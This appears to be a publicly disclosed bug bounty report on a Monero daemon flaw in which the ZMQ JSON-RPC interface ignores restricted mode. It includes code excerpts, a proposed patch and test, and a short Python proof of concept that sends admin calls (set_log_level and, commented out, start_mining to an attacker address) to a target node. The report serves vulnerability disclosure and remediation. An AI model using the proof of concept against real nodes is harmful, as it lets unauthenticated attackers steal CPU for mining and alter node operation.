HexBrain

Monero · Report #3601469

Restricted RPC Policy Bypass on ZMQ JSON-RPC Allows Unauthenticated Remote Admin Actions

Validstatus
highseverity
40upvotes
17 Aug 2026disclosed

How it was found

Summary

I found a high-severity access-control issue in Monero's ZMQ JSON-RPC surface.

When monerod is started in restricted/public-node mode, the HTTP RPC layer correctly suppresses admin-only methods, but the ZMQ JSON-RPC layer does not inherit or enforce that restriction. If an operator binds ZMQ beyond loopback, an unauthenticated remote client can invoke state-changing methods that the operator reasonably expects --restricted-rpc / --public-node to block.

The vulnerable flow is:

  1. README.md says public remote nodes must run with --restricted-rpc.
  2. src/daemon/command_line_args.h describes --public-node as "restricted RPC mode, view-only commands".
  3. src/rpc/core_rpc_server.h hides HTTP admin methods behind !m_restricted.
  4. src/daemon/daemon.cpp creates the ZMQ handler without propagating restricted-mode state in the vulnerable version.
  5. src/rpc/daemon_handler.cpp dispatches the exposed ZMQ methods unconditionally in the vulnerable version.

This exposes the following restricted HTTP methods over ZMQ:

  1. start_mining
  2. stop_mining
  3. save_bc
  4. set_log_level
  5. mining_status
  6. get_peer_list

The highest-impact path is start_mining, because src/rpc/daemon_handler.cpp accepts an attacker-controlled payout address and attacker-controlled thread count up to hardware_concurrency() * 4.

It is an RPC access-control bypass.

Severity

Approximate CVSS v3.1: 8.1 with AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H.

I consider this High.

Why 8.1 is defensible:

  1. The attacker is remote and unauthenticated.
  2. The attack requires only a normal ZMQ JSON-RPC request once the operator has exposed ZMQ beyond loopback.
  3. The affected methods cross a documented restricted/view-only boundary.
  4. start_mining can redirect CPU resources to an attacker-controlled address and materially degrade node availability.

The default ZMQ bind is loopback-only at src/daemon/command_line_args.h, so exploitation requires a non-loopback ZMQ bind. That does not remove the vulnerability because the product-level issue is that restricted/public-node policy does not carry across RPC surfaces, and ZMQ also lacks the HTTP-side external-bind confirmation gate shown at src/rpc/rpc_args.cpp.

Affected Versions

git log --follow shows the ZMQ JSON-RPC handler path originates with commit 77986023c (json serialization for rpc-relevant monero types).

git tag --contains 77986023c shows the issue is present in released tags beginning with v0.12.0.0.

Conservatively, I believe the affected release range is:

  1. v0.12.0.0 and later releases containing ZMQ JSON-RPC
  2. all v0.13.x
  3. all v0.14.x
  4. all v0.15.x
  5. all v0.16.x
  6. all v0.17.x
  7. all v0.18.x
  8. current master

Operational note: exploitability requires that the operator expose ZMQ RPC beyond loopback, for example with --zmq-rpc-bind-ip 0.0.0.0 or a publicly reachable IPv6 bind.

AI Usage Disclosure

This report was prepared with AI assistance for drafting, editing, and organizing the findings.

All substantive technical claims retained here were checked against the local source tree, local repository history, and local build/test results before inclusion.

I did not test against public Monero infrastructure or third-party nodes.

Root Cause

Monero has an explicit restricted-RPC policy on the HTTP surface:

  1. README.md says --restricted-rpc is mandatory for public remote nodes.
  2. src/daemon/command_line_args.h describes --public-node as restricted/view-only.
  3. src/rpc/core_rpc_server.h and nearby lines gate HTTP admin methods behind !m_restricted.

Examples from the HTTP route map:

MAP_URI_AUTO_JON2_IF("/start_mining", on_start_mining, COMMAND_RPC_START_MINING, !m_restricted)
MAP_URI_AUTO_JON2_IF("/stop_mining", on_stop_mining, COMMAND_RPC_STOP_MINING, !m_restricted)
MAP_URI_AUTO_JON2_IF("/mining_status", on_mining_status, COMMAND_RPC_MINING_STATUS, !m_restricted)
MAP_URI_AUTO_JON2_IF("/save_bc", on_save_bc, COMMAND_RPC_SAVE_BC, !m_restricted)
MAP_URI_AUTO_JON2_IF("/get_peer_list", on_get_peer_list, COMMAND_RPC_GET_PEER_LIST, !m_restricted)
MAP_URI_AUTO_JON2_IF("/set_log_level", on_set_log_level, COMMAND_RPC_SET_LOG_LEVEL, !m_restricted)

By contrast, the vulnerable ZMQ path did not carry restricted mode into the handler:

struct zmq_internals
{
  explicit zmq_internals(t_core& core, t_p2p& p2p)
    : rpc_handler{core.get(), p2p.get()}
    , server{rpc_handler}
  {}
};

And src/rpc/daemon_handler.cpp exposed the sensitive methods unconditionally:

constexpr const handler_map handlers[] =
{
  {u8"get_peer_list", handle_message<GetPeerList>},
  {u8"mining_status", handle_message<MiningStatus>},
  {u8"save_bc", handle_message<SaveBC>},
  {u8"set_log_level", handle_message<SetLogLevel>},
  {u8"start_mining", handle_message<StartMining>},
  {u8"stop_mining", handle_message<StopMining>}
};

Finally, the vulnerable dispatcher executed the handler as long as the method name existed:

const std::string request_type = req_full.getRequestType();
const auto matched_handler = std::lower_bound(std::begin(handlers), std::end(handlers), request_type);
if (matched_handler == std::end(handlers) || matched_handler->method_name != request_type)
  return BAD_REQUEST(request_type, req_full.getID());

return matched_handler->call(*this, req_full.getID(), req_full.getMessage());

There was no restricted-mode denial between request parsing and handler dispatch.

Affected Code

Relevant locations:

  1. README.md
  2. src/daemon/command_line_args.h
  3. src/rpc/rpc_args.cpp
  4. src/rpc/core_rpc_server.h
  5. src/daemon/daemon.cpp
  6. src/daemon/daemon.cpp
  7. src/rpc/daemon_handler.h
  8. src/rpc/daemon_handler.cpp
  9. src/rpc/daemon_handler.cpp
  10. src/rpc/daemon_handler.cpp
  11. src/rpc/daemon_handler.cpp
  12. src/rpc/daemon_handler.cpp

Validation

I validated this finding locally by:

  1. confirming that the vulnerable ZMQ path had no restricted-state propagation or method gate
  2. confirming that HTTP restricted mode deliberately suppresses the same methods
  3. implementing a patch that propagates restricted mode into the ZMQ handler and blocks the restricted method subset
  4. compiling the patched daemon target
  5. compiling the unit test target
  6. running a regression test for the restricted-method set

Commands used for validation:

make -C build-audit daemon -j4
make -C build-audit unit_tests -j4
./build-audit/tests/unit_tests/unit_tests --gtest_filter=ZmqDaemonHandler.RestrictedMethodParity

Observed regression-test result:

Note: Google Test filter = ZmqDaemonHandler.RestrictedMethodParity
[==========] Running 1 test from 1 test suite.
[----------] 1 test from ZmqDaemonHandler
[ RUN      ] ZmqDaemonHandler.RestrictedMethodParity
[       OK ] ZmqDaemonHandler.RestrictedMethodParity (0 ms)
[  PASSED  ] 1 test.

I did not test against public Monero infrastructure or third-party nodes.

Proof of Concept

The following PoC targets a vulnerable build. It demonstrates the access-control bypass over ZMQ on a node the operator believes is running in restricted/view-only mode.

1. Start a vulnerable daemon with restricted HTTP RPC but externally bound ZMQ RPC

./monerod \
  --non-interactive \
  --offline \
  --data-dir /tmp/monero-zmq-vuln \
  --restricted-rpc \
  --rpc-bind-ip 0.0.0.0 \
  --confirm-external-bind \
  --zmq-rpc-bind-ip 0.0.0.0 \
  --zmq-rpc-bind-port 18082

Notes:

  1. --restricted-rpc and the public-node guidance imply view-only remote access.
  2. ZMQ external bind does not require the HTTP-side --confirm-external-bind safeguard.
  3. The daemon can remain otherwise local/offline; the bypass is about RPC authorization, not blockchain sync.

2. From another host, send a restricted method over ZMQ JSON-RPC

Install a ZMQ client library if needed:

python3 -m pip install pyzmq

PoC script:

#!/usr/bin/env python3
import json
import zmq

RPC_VERSION = 2 << 16  # 131072

ctx = zmq.Context.instance()
sock = ctx.socket(zmq.REQ)
sock.connect("tcp://TARGET_IP:18082")

def call(method, params):
    request = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": method,
        "params": {
            "rpc_version": RPC_VERSION,
            **params,
        },
    }
    sock.send_json(request)
    response = sock.recv_json()
    print(f"method={method}")
    print(json.dumps(response, indent=2, sort_keys=True))
    print()

# Fully reproducible auth-bypass demonstration with no extra daemon state needed.
call("set_log_level", {"level": 4})

# Same surface, higher impact path. Any valid address for the daemon nettype works.
# Uncomment on a vulnerable mainnet/default daemon to demonstrate CPU/resource theft.
# call("start_mining", {
#     "miner_address": "<valid_monero_address>",
#     "threads_count": 8,
#     "do_background_mining": False,
#     "ignore_battery": True,
# })

3. Expected result on a vulnerable build

For set_log_level, the vulnerable daemon returns success even though the node is in restricted mode:

{
  "id": 1,
  "jsonrpc": "2.0",
  "result": {
    "rpc_version": 131072,
    "status": "OK"
  }
}

That response is enough to demonstrate the authorization failure. The same request path can then invoke start_mining, stop_mining, save_bc, mining_status, and get_peer_list.

4. Expected result on the patched build

The patched build denies the same request:

{
  "error": {
    "code": 1,
    "error_str": "Failed",
    "message": "\"set_log_level\" is not available in restricted mode."
  },
  "id": 1,
  "jsonrpc": "2.0"
}

Proposed Patch

The patch below works cross-platform because it only changes in-process flag propagation and RPC-method gating. It does not depend on platform-specific networking APIs.

diff --git a/src/daemon/daemon.cpp b/src/daemon/daemon.cpp
index 9b6d63d3d..c67c69108 100644
--- a/src/daemon/daemon.cpp
+++ b/src/daemon/daemon.cpp
@@ -60,8 +60,8 @@ namespace daemonize {
 
 struct zmq_internals
 {
-  explicit zmq_internals(t_core& core, t_p2p& p2p)
-    : rpc_handler{core.get(), p2p.get()}
+  explicit zmq_internals(t_core& core, t_p2p& p2p, bool restricted)
+    : rpc_handler{core.get(), p2p.get(), restricted}
     , server{rpc_handler}
   {}
 
@@ -104,7 +104,7 @@ public:
 
     if (!command_line::get_arg(vm, daemon_args::arg_zmq_rpc_disabled))
     {
-      zmq.reset(new zmq_internals{core, p2p});
+      zmq.reset(new zmq_internals{core, p2p, restricted});
 
       const std::string zmq_port = command_line::get_arg(vm, daemon_args::arg_zmq_rpc_bind_port);
       const std::string zmq_address = command_line::get_arg(vm, daemon_args::arg_zmq_rpc_bind_ip);
diff --git a/src/rpc/daemon_handler.cpp b/src/rpc/daemon_handler.cpp
index 6df71340a..849a9499e 100644
--- a/src/rpc/daemon_handler.cpp
+++ b/src/rpc/daemon_handler.cpp
@@ -107,14 +107,33 @@ namespace rpc
       {u8"start_mining", handle_message<StartMining>},
       {u8"stop_mining", handle_message<StopMining>}
     };
+
+    constexpr const char* restricted_methods[] =
+    {
+      "get_peer_list",
+      "mining_status",
+      "save_bc",
+      "set_log_level",
+      "start_mining",
+      "stop_mining"
+    };
   } // anonymous
 
-  DaemonHandler::DaemonHandler(cryptonote::core& c, t_p2p& p2p)
-    : m_core(c), m_p2p(p2p)
+  DaemonHandler::DaemonHandler(cryptonote::core& c, t_p2p& p2p, bool restricted)
+    : m_core(c), m_p2p(p2p), m_restricted(restricted)
   {
     const auto last_sorted = std::is_sorted_until(std::begin(handlers), std::end(handlers));
     if (last_sorted != std::end(handlers))
       throw std::logic_error{std::string{"ZMQ JSON-RPC handlers map is not properly sorted, see "} + last_sorted->method_name};
+
+    const auto last_restricted = std::is_sorted_until(std::begin(restricted_methods), std::end(restricted_methods));
+    if (last_restricted != std::end(restricted_methods))
+      throw std::logic_error{std::string{"ZMQ restricted-method map is not properly sorted, see "} + *last_restricted};
+  }
+
+  bool DaemonHandler::is_restricted_method(const std::string& method) noexcept
+  {
+    return std::binary_search(std::begin(restricted_methods), std::end(restricted_methods), method);
   }
 
   void DaemonHandler::handle(const GetHeight::Request& req, GetHeight::Response& res)
@@ -928,6 +947,14 @@ namespace rpc
       FullMessage req_full(std::move(request), true);
 
       const std::string request_type = req_full.getRequestType();
+      if (m_restricted && is_restricted_method(request_type))
+      {
+        Message fail;
+        fail.status = Message::STATUS_FAILED;
+        fail.error_details = std::string{"\""} + request_type + "\" is not available in restricted mode.";
+        return FullMessage::getResponse(fail, req_full.getID());
+      }
+
       const auto matched_handler = std::lower_bound(std::begin(handlers), std::end(handlers), request_type);
       if (matched_handler == std::end(handlers) || matched_handler->method_name != request_type)
         return BAD_REQUEST(request_type, req_full.getID());
diff --git a/src/rpc/daemon_handler.h b/src/rpc/daemon_handler.h
index 1da5419d2..be0dd9ce8 100644
--- a/src/rpc/daemon_handler.h
+++ b/src/rpc/daemon_handler.h
@@ -51,10 +51,12 @@ class DaemonHandler : public RpcHandler
 {
   public:
 
-    DaemonHandler(cryptonote::core& c, t_p2p& p2p);
+    DaemonHandler(cryptonote::core& c, t_p2p& p2p, bool restricted = false);
 
     ~DaemonHandler() { }
 
+    static bool is_restricted_method(const std::string& method) noexcept;
+
     void handle(const GetHeight::Request& req, GetHeight::Response& res);
 
     void handle(const GetBlocksFast::Request& req, GetBlocksFast::Response& res);
@@ -143,6 +145,7 @@ class DaemonHandler : public RpcHandler
 
     cryptonote::core& m_core;
     t_p2p& m_p2p;
+    bool m_restricted;
 };
 
 }  // namespace rpc
diff --git a/tests/unit_tests/zmq_rpc.cpp b/tests/unit_tests/zmq_rpc.cpp
index 240251d1b..2c6a6102a 100644
--- a/tests/unit_tests/zmq_rpc.cpp
+++ b/tests/unit_tests/zmq_rpc.cpp
@@ -37,6 +37,7 @@
 #include "cryptonote_basic/cryptonote_format_utils.h"
 #include "json_serialization.h"
 #include "net/zmq.h"
+#include "rpc/daemon_handler.h"
 #include "rpc/message.h"
 #include "rpc/zmq_pub.h"
 #include "rpc/zmq_server.h"
@@ -69,6 +70,18 @@ TEST(ZmqFullMessage, Request)
   EXPECT_STREQ("foo", parsed.getRequestType().c_str());
 }
 
+TEST(ZmqDaemonHandler, RestrictedMethodParity)
+{
+  EXPECT_TRUE(cryptonote::rpc::DaemonHandler::is_restricted_method("get_peer_list"));
+  EXPECT_TRUE(cryptonote::rpc::DaemonHandler::is_restricted_method("mining_status"));
+  EXPECT_TRUE(cryptonote::rpc::DaemonHandler::is_restricted_method("save_bc"));
+  EXPECT_TRUE(cryptonote::rpc::DaemonHandler::is_restricted_method("set_log_level"));
+  EXPECT_TRUE(cryptonote::rpc::DaemonHandler::is_restricted_method("start_mining"));
+  EXPECT_TRUE(cryptonote::rpc::DaemonHandler::is_restricted_method("stop_mining"));
+  EXPECT_FALSE(cryptonote::rpc::DaemonHandler::is_restricted_method("get_height"));
+  EXPECT_FALSE(cryptonote::rpc::DaemonHandler::is_restricted_method("send_raw_tx"));
+}
+
 namespace
 {
   using published_json = std::pair<std::string, rapidjson::Document>;

Hardening Notes

The patch above closes the high-severity admin-method bypass. Two follow-up hardening ideas remain:

  1. add a ZMQ equivalent of HTTP's --confirm-external-bind safeguard
  2. consider whether ZMQ read-only methods such as get_info and get_transaction_pool should also mirror HTTP restricted-mode redaction semantics

Those follow-ups are lower-severity design-parity issues. The attached patch addresses the reportable 8.1 access-control bypass.

Bounty Payment

If accepted, please use this monero payout address:

46Xi9JyEnEjYDuBWYrWNo8MLKyQ1BiL1VbFMJoZkrL2w8ZABc7ALQoyRspCgnkQKbwgPuM6wJEqoCF7U1Cpxo5981Uhr8TN

Impact

An unauthenticated remote client can bypass Monero's documented restricted/view-only RPC boundary over ZMQ and perform actions that should be unavailable on a public restricted node.

Practical impact includes:

  1. start_mining: start CPU mining to an attacker-controlled address with attacker-controlled thread count, causing resource theft and service degradation
  2. stop_mining: stop legitimate mining
  3. save_bc: force immediate blockchain save / extra disk I/O
  4. set_log_level: change runtime logging behavior
  5. get_peer_list: expose information restricted HTTP intentionally hides
  6. mining_status: reveal operational mining state that restricted HTTP intentionally hides

It is an access-control failure on a remotely reachable daemon-management interface.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original